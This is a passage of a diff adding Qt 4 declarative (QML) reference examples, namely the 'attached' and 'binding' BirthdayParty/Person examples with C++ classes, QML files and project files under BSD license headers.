+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+#include "birthdayparty.h"
+
+BirthdayPartyAttached::BirthdayPartyAttached(QObject *object)
+: QObject(object)
+{
+}
+
+QDate BirthdayPartyAttached::rsvp() const
+{
+ return m_rsvp;
+}
+
+void BirthdayPartyAttached::setRsvp(const QDate &d)
+{
+ m_rsvp = d;
+}
+
+BirthdayParty::BirthdayParty(QObject *parent)
+: QObject(parent), m_host(0)
+{
+}
+
+Person *BirthdayParty::host() const
+{
+ return m_host;
+}
+
+void BirthdayParty::setHost(Person *c)
+{
+ m_host = c;
+}
+
+QDeclarativeListProperty<Person> BirthdayParty::guests()
+{
+ return QDeclarativeListProperty<Person>(this, m_guests);
+}
+
+int BirthdayParty::guestCount() const
+{
+ return m_guests.count();
+}
+
+Person *BirthdayParty::guest(int index) const
+{
+ return m_guests.at(index);
+}
+
+BirthdayPartyAttached *BirthdayParty::qmlAttachedProperties(QObject *object)
+{
+ return new BirthdayPartyAttached(object);
+}
+
diff --git a/examples/declarative/cppextensions/referenceexamples/attached/birthdayparty.h b/examples/declarative/cppextensions/referenceexamples/attached/birthdayparty.h
new file mode 100644
index 00000000..1dcfc29c
--- /dev/null
+++ b/examples/declarative/cppextensions/referenceexamples/attached/birthdayparty.h
@@ -0,0 +1,86 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the examples of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+#ifndef BIRTHDAYPARTY_H
+#define BIRTHDAYPARTY_H
+
+#include <QObject>
+#include <QDate>
+#include <qdeclarative.h>
+#include "person.h"
+
+class BirthdayPartyAttached : public QObject
+{
+ Q_OBJECT
+ Q_PROPERTY(QDate rsvp READ rsvp WRITE setRsvp)
+public:
+ BirthdayPartyAttached(QObject *object);
+
+ QDate rsvp() const;
+ void setRsvp(const QDate &);
+
+private:
+ QDate m_rsvp;
+};
+
+class BirthdayParty : public QObject
+{
+ Q_OBJECT
+ Q_PROPERTY(Person *host READ host WRITE setHost)
+ Q_PROPERTY(QDeclarativeListProperty<Person> guests READ guests)
+ Q_CLASSINFO("DefaultProperty", "guests")
+public:
+ BirthdayParty(QObject *parent = 0);
+
+ Person *host() const;
+ void setHost(Person *);
+
+ QDeclarativeListProperty<Person> guests();
+ int guestCount() const;
+ Person *guest(int) const;
+
+ static BirthdayPartyAttached *qmlAttachedProperties(QObject *);
+private:
+ Person *m_host;
+ QList<Person *> m_guests;
+};
+
+QML_DECLARE_TYPEINFO(BirthdayParty, QML_HAS_ATTACHED_PROPERTIES)
+
+#endif // BIRTHDAYPARTY_H
diff --git a/examples/declarative/cppextensions/referenceexamples/attached/example.qml b/examples/declarative/cppextensions/referenceexamples/attached/example.qml
new file mode 100644
index 00000000..139cf375
--- /dev/null
+++ b/examples/declarative/cppextensions/referenceexamples/attached/example.qml
@@ -0,0 +1,71 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the examples of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+import People 1.0
+
+BirthdayParty {
+ host: Boy {
+ name: "Bob Jones"
+ shoe { size: 12; color: "white"; brand: "Nike"; price: 90.0 }
+ }
+
+ // ![1]
+ Boy {
+ name: "Leo Hodges"
+ shoe { size: 10; color: "black"; brand: "Reebok"; price: 59.95 }
+
+ BirthdayParty.rsvp: "2009-07-06"
+ }
+ // ![1]
+ Boy {
+ name: "Jack Smith"
+ shoe { size: 8; color: "blue"; brand: "Puma"; price: 19.95 }
+ }
+ Girl {
+ name: "Anne Brown"
+ shoe.size: 7
+ shoe.color: "red"
+ shoe.brand: "Marc Jacobs"
+ shoe.price: 699.99
+
+ BirthdayParty.rsvp: "2009-07-01"
+ }
+}
+
diff --git a/examples/declarative/cppextensions/referenceexamples/attached/main.cpp b/examples/declarative/cppextensions/referenceexamples/attached/main.cpp
new file mode 100644
index 00000000..d4ea2d7c
--- /dev/null
+++ b/examples/declarative/cppextensions/referenceexamples/attached/main.cpp
@@ -0,0 +1,90 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the examples of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+#include <QCoreApplication>
+#include <QDeclarativeEngine>
+#include <QDeclarativeComponent>
+#include <QDebug>
+#include "birthdayparty.h"
+#include "person.h"
+
+int main(int argc, char ** argv)
+{
+ QCoreApplication app(argc, argv);
+
+ qmlRegisterType<BirthdayPartyAttached>();
+ qmlRegisterType<BirthdayParty>("People", 1,0, "BirthdayParty");
+ qmlRegisterType<ShoeDescription>();
+ qmlRegisterType<Person>();
+ qmlRegisterType<Boy>("People", 1,0, "Boy");
+ qmlRegisterType<Girl>("People", 1,0, "Girl");
+
+ QDeclarativeEngine engine;
+ QDeclarativeComponent component(&engine, QUrl("qrc:example.qml"));
+ BirthdayParty *party = qobject_cast<BirthdayParty *>(component.create());
+
+ if (party && party->host()) {
+ qWarning() << party->host()->name() << "is having a birthday!";
+
+ if (qobject_cast<Boy *>(party->host()))
+ qWarning() << "He is inviting:";
+ else
+ qWarning() << "She is inviting:";
+
+ for (int ii = 0; ii < party->guestCount(); ++ii) {
+ Person *guest = party->guest(ii);
+
+ QDate rsvpDate;
+ QObject *attached =
+ qmlAttachedPropertiesObject<BirthdayParty>(guest, false);
+ if (attached)
+ rsvpDate = attached->property("rsvp").toDate();
+
+ if (rsvpDate.isNull())
+ qWarning() << " " << guest->name() << "RSVP date: Hasn't RSVP'd";
+ else
+ qWarning() << " " << guest->name() << "RSVP date:" << qPrintable(rsvpDate.toString());
+ }
+
+ } else {
+ qWarning() << component.errors();
+ }
+
+ return 0;
+}
diff --git a/examples/declarative/cppextensions/referenceexamples/attached/person.cpp b/examples/declarative/cppextensions/referenceexamples/attached/person.cpp
new file mode 100644
index 00000000..b9dafbd9
--- /dev/null
+++ b/examples/declarative/cppextensions/referenceexamples/attached/person.cpp
@@ -0,0 +1,118 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the examples of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+#include "person.h"
+
+ShoeDescription::ShoeDescription(QObject *parent)
+: QObject(parent), m_size(0), m_price(0)
+{
+}
+
+int ShoeDescription::size() const
+{
+ return m_size;
+}
+
+void ShoeDescription::setSize(int s)
+{
+ m_size = s;
+}
+
+QColor ShoeDescription::color() const
+{
+ return m_color;
+}
+
+void ShoeDescription::setColor(const QColor &c)
+{
+ m_color = c;
+}
+
+QString ShoeDescription::brand() const
+{
+ return m_brand;
+}
+
+void ShoeDescription::setBrand(const QString &b)
+{
+ m_brand = b;
+}
+
+qreal ShoeDescription::price() const
+{
+ return m_price;
+}
+
+void ShoeDescription::setPrice(qreal p)
+{
+ m_price = p;
+}
+
+Person::Person(QObject *parent)
+: QObject(parent)
+{
+}
+
+QString Person::name() const
+{
+ return m_name;
+}
+
+void Person::setName(const QString &n)
+{
+ m_name = n;
+}
+
+ShoeDescription *Person::shoe()
+{
+ return &m_shoe;
+}
+
+
+Boy::Boy(QObject * parent)
+: Person(parent)
+{
+}
+
+
+Girl::Girl(QObject * parent)
+: Person(parent)
+{
+}
+
diff --git a/examples/declarative/cppextensions/referenceexamples/attached/person.h b/examples/declarative/cppextensions/referenceexamples/attached/person.h
new file mode 100644
index 00000000..de722153
--- /dev/null
+++ b/examples/declarative/cppextensions/referenceexamples/attached/person.h
@@ -0,0 +1,105 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the examples of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+#ifndef PERSON_H
+#define PERSON_H
+
+#include <QObject>
+#include <QColor>
+
+class ShoeDescription : public QObject
+{
+ Q_OBJECT
+ Q_PROPERTY(int size READ size WRITE setSize)
+ Q_PROPERTY(QColor color READ color WRITE setColor)
+ Q_PROPERTY(QString brand READ brand WRITE setBrand)
+ Q_PROPERTY(qreal price READ price WRITE setPrice)
+public:
+ ShoeDescription(QObject *parent = 0);
+
+ int size() const;
+ void setSize(int);
+
+ QColor color() const;
+ void setColor(const QColor &);
+
+ QString brand() const;
+ void setBrand(const QString &);
+
+ qreal price() const;
+ void setPrice(qreal);
+private:
+ int m_size;
+ QColor m_color;
+ QString m_brand;
+ qreal m_price;
+};
+
+class Person : public QObject
+{
+ Q_OBJECT
+ Q_PROPERTY(QString name READ name WRITE setName)
+ Q_PROPERTY(ShoeDescription *shoe READ shoe)
+public:
+ Person(QObject *parent = 0);
+
+ QString name() const;
+ void setName(const QString &);
+
+ ShoeDescription *shoe();
+private:
+ QString m_name;
+ ShoeDescription m_shoe;
+};
+
+class Boy : public Person
+{
+ Q_OBJECT
+public:
+ Boy(QObject * parent = 0);
+};
+
+class Girl : public Person
+{
+ Q_OBJECT
+public:
+ Girl(QObject * parent = 0);
+};
+
+#endif // PERSON_H
diff --git a/examples/declarative/cppextensions/referenceexamples/binding/binding.pro b/examples/declarative/cppextensions/referenceexamples/binding/binding.pro
new file mode 100644
index 00000000..063de622
--- /dev/null
+++ b/examples/declarative/cppextensions/referenceexamples/binding/binding.pro
@@ -0,0 +1,19 @@
+TEMPLATE = app
+TARGET = binding
+DEPENDPATH += .
+INCLUDEPATH += .
+QT += declarative
+
+# Input
+SOURCES += main.cpp \
+ person.cpp \
+ birthdayparty.cpp \
+ happybirthdaysong.cpp
+HEADERS += person.h \
+ birthdayparty.h \
+ happybirthdaysong.h
+RESOURCES += binding.qrc
+target.path = $$[QT_INSTALL_EXAMPLES]/declarative/cppextensions/referenceexamples/binding
+sources.files = $$SOURCES $$HEADERS $$RESOURCES $$FORMS binding.pro
+sources.path = $$[QT_INSTALL_EXAMPLES]/declarative/cppextensions/referenceexamples/binding
+INSTALLS += target sources
diff --git a/examples/declarative/cppextensions/referenceexamples/binding/binding.qrc b/examples/declarative/cppextensions/referenceexamples/binding/binding.qrc
new file mode 100644
index 00000000..e2fa01d5
--- /dev/null
+++ b/examples/declarative/cppextensions/referenceexamples/binding/binding.qrc
@@ -0,0 +1,5 @@
+<!DOCTYPE RCC><RCC version="1.0">
+<qresource>
+ <file>example.qml</file>
+</qresource>
+</RCC>
diff --git a/examples/declarative/cppextensions/referenceexamples/binding/birthdayparty.cpp b/examples/declarative/cppextensions/referenceexamples/binding/birthdayparty.cpp
new file mode 100644
index 00000000..0cc6d8c6
--- /dev/null
+++ b/examples/declarative/cppextensions/referenceexamples/binding/birthdayparty.cpp
@@ -0,0 +1,113 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the examples of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+#include "birthdayparty.h"
+
+BirthdayPartyAttached::BirthdayPartyAttached(QObject *object)
+: QObject(object)
+{
+}
+
+QDate BirthdayPartyAttached::rsvp() const
+{
+ return m_rsvp;
+}
+
+void BirthdayPartyAttached::setRsvp(const QDate &d)
+{
+ if (d != m_rsvp) {
+ m_rsvp = d;
+ emit rsvpChanged();
+ }
+}
+
+
+BirthdayParty::BirthdayParty(QObject *parent)
+: QObject(parent), m_host(0)
+{
+}
+
+Person *BirthdayParty::host() const
+{
+ return m_host;
+}
+
+void BirthdayParty::setHost(Person *c)
+{
+ if (c == m_host) return;
+ m_host = c;
+ emit hostChanged();
+}
+
+QDeclarativeListProperty<Person> BirthdayParty::guests()
+{
+ return QDeclarativeListProperty<Person>(this, m_guests);
+}
+
+int BirthdayParty::guestCount() const
+{
+ return m_guests.count();
+}
+
+Person *BirthdayParty::guest(int index) const
+{
+ return m_guests.at(index);
+}
+
+void BirthdayParty::startParty()
+{
+ QTime time = QTime::currentTime();
+ emit partyStarted(time);
+}
+
+QString BirthdayParty::announcement() const
+{
+ return QString();
+}
+
+void BirthdayParty::setAnnouncement(const QString &speak)
+{
+ qWarning() << qPrintable(speak);
+}
+
+BirthdayPartyAttached *BirthdayParty::qmlAttachedProperties(QObject *object)
+{
+ return new BirthdayPartyAttached(object);
+}
+
diff --git a/examples/declarative/cppextensions/referenceexamples/binding/birthdayparty.h b/examples/declarative/cppextensions/referenceexamples/binding/birthdayparty.h
new file mode 100644
index 00000000..c3c66bde
--- /dev/null
+++ b/examples/declarative/cppextensions/referenceexamples/binding/birthdayparty.h
@@ -0,0 +1,102 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the examples of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+#ifndef BIRTHDAYPARTY_H
+#define BIRTHDAYPARTY_H
+
+#include <QObject>
+#include <QDate>
+#include <QDebug>
+#include <qdeclarative.h>
+#include "person.h"
+
+class BirthdayPartyAttached : public QObject
+{
+ Q_OBJECT
+ Q_PROPERTY(QDate rsvp READ rsvp WRITE setRsvp NOTIFY rsvpChanged)
+public:
+ BirthdayPartyAttached(QObject *object);
+
+ QDate rsvp() const;
+ void setRsvp(const QDate &);
+
+signals:
+ void rsvpChanged();
+
+private:
+ QDate m_rsvp;
+};
+
+class BirthdayParty : public QObject
+{
+ Q_OBJECT
+// ![0]
+ Q_PROPERTY(Person *host READ host WRITE setHost NOTIFY hostChanged)
+// ![0]
+ Q_PROPERTY(QDeclarativeListProperty<Person> guests READ guests)
+ Q_PROPERTY(QString announcement READ announcement WRITE setAnnouncement)
+ Q_CLASSINFO("DefaultProperty", "guests")
+public:
+ BirthdayParty(QObject *parent = 0);
+
+ Person *host() const;
+ void setHost(Person *);
+
+ QDeclarativeListProperty<Person> guests();
+ int guestCount() const;
+ Person *guest(int) const;
+
+ QString announcement() const;
+ void setAnnouncement(const QString &);
+
+ static BirthdayPartyAttached *qmlAttachedProperties(QObject *);
+
+ void startParty();
+signals:
+ void partyStarted(const QTime &time);
+ void hostChanged();
+
+private:
+ Person *m_host;
+ QList<Person *> m_guests;
+};
+
+QML_DECLARE_TYPEINFO(BirthdayParty, QML_HAS_ATTACHED_PROPERTIES)
+
+#endif // BIRTHDAYPARTY_H
diff --git a/examples/declarative/cppextensions/referenceexamples/binding/example.qml b/examples/declarative/cppextensions/referenceexamples/binding/example.qml
new file mode 100644
index 00000000..90c289e1
--- /dev/null
+++ b/examples/declarative/cppextensions/referenceexamples/binding/example.qml
@@ -0,0 +1,77 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the examples of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
